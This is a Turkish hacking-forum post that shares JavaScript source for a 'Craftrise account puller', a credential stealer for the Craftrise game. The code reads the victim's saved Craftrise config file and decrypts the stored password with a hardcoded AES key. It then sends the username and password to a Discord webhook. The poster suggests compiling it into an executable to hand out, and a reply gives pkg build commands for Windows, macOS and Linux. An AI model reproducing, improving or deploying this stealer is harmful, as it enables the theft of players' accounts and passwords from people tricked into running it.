Open Source Craftrise hesap cekici java script

dontasktoask

Uzman Üye
Katılım
15 Kas 2024
Mesajlar
747
Beğeniler
135
İletişim
merhaba arkadaşlar bu kodu java script to exe yaparak kullanabilirsiniz daha iyi ve kaliteli halini paylaşacağım veya satacağim iyi günler
exe yapılmış vt:
const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const axios = require('axios');
const atob = require('atob');
class Decrypter {
constructor() {
this.username = "empty";
this.password = "empty";
this.configPath = path.join(
process.env.APPDATA || "/", ".craftrise", "config.json"
); // Config file path
this.DISCORD_WEBHOOK_URL =
""; // Discord webhook URL
}
initialize() {
try {
if (!fs.existsSync(this.configPath)) {
console.error("Config file not found.");
return;
}
const configData = fs.readFileSync(this.configPath, 'utf-8');
const configJson = JSON.parse(configData);
this.setUsername(configJson.rememberName);
const encryptedPassword = configJson.rememberPass;
this.setPassword(Decryptor.decrypt(encryptedPassword));
this.sendToDiscord(this.username, this.password);
} catch (error) {
console.error("Error initializing:", error.message);
}
}
getUsername() {
if (!this.username) throw new Error("Username is empty");
return this.username;
}
getPassword() {
if (!this.password) throw new Error("Password is empty");
return this.password;
}
setUsername(username) {
if (username) {
this.username = username;
} else {
console.error("Username is empty or null");
}
}
setPassword(password) {
if (password) {
this.password = password;
} else {
console.error("Password is empty or null");
}
}
async sendToDiscord(username, password) {
try {
const payload = {
embeds: [
{
title: "dontasktoask 1.0 @everyone",
description: "Craftrise Hesap Bilgileri",
color: 16711680,
thumbnail: {
url: " ",
},
fields: [
{ name: "Kullanıcı Adı", value: username, inline: false },
{ name: "Şifre ve dosya yolu #C#RR########CRRR## nin sol tarafindaki şifre", value: password},
],
footer: {
text: "dontasktoask tarafından oluşturuldu - Bilgiler güvende mi?",
icon_url: " ",
},
},
],
};
const response = await axios.post(this.DISCORD_WEBHOOK_URL, payload, {
headers: {
'Content-Type': 'application/json',
},
});
if (response.status === 204) {
console.log("merhaba");
} else {
console.error("Unexpected response from Discord webhook:", response.status);
}
} catch (error) {
console.error("Error sending to Discord:", error.message);
}
}
}
class Decryptor {
static decrypt(encryptedPassword) {
try {
const key = Buffer.from("2640023187059250", "utf-8"); // AES key (should be securely stored)
const decipher = crypto.createDecipheriv("aes-128-ecb", key, null);
decipher.setAutoPadding(true);
const decrypted = Buffer.concat([
decipher.update(Buffer.from(encryptedPassword, "base64")),
decipher.final(),
]);
return this.getRiseVers(decrypted.toString("utf-8"));
} catch (error) {
throw new Error("Decryption failed: " + error.message);
}
}
static getRiseVers(input) {
const clean = (str) =>
this.decryptBase64(str)
.replace(/3ebi2mclmAM7Ao2/g, "")
.replace(/KweGTngiZOOj9d6/g, "");
const decodedString = clean(clean(this.decryptBase64(input)));
return decodedString;
}
static decryptBase64(input) {
try {
return Buffer.from(input, "base64").toString("utf-8");
} catch (error) {
console.error("Failed to decode base64:", error.message);
return null;
}
}
}

const decrypter = new Decrypter();
decrypter.initialize()

;
 
Son düzenleme:
npm install -g pkg
npm init -y
pkg projeisminiz.js --targets node16-win-x64,node16-macos-x64,node16-linux-x64 --output myApp yaparak kullanabilirsiniz arkadaşlar yapamayanlar icin
 

  Şuanda konuyu görüntüleyen kullanıcılar


Üst Alt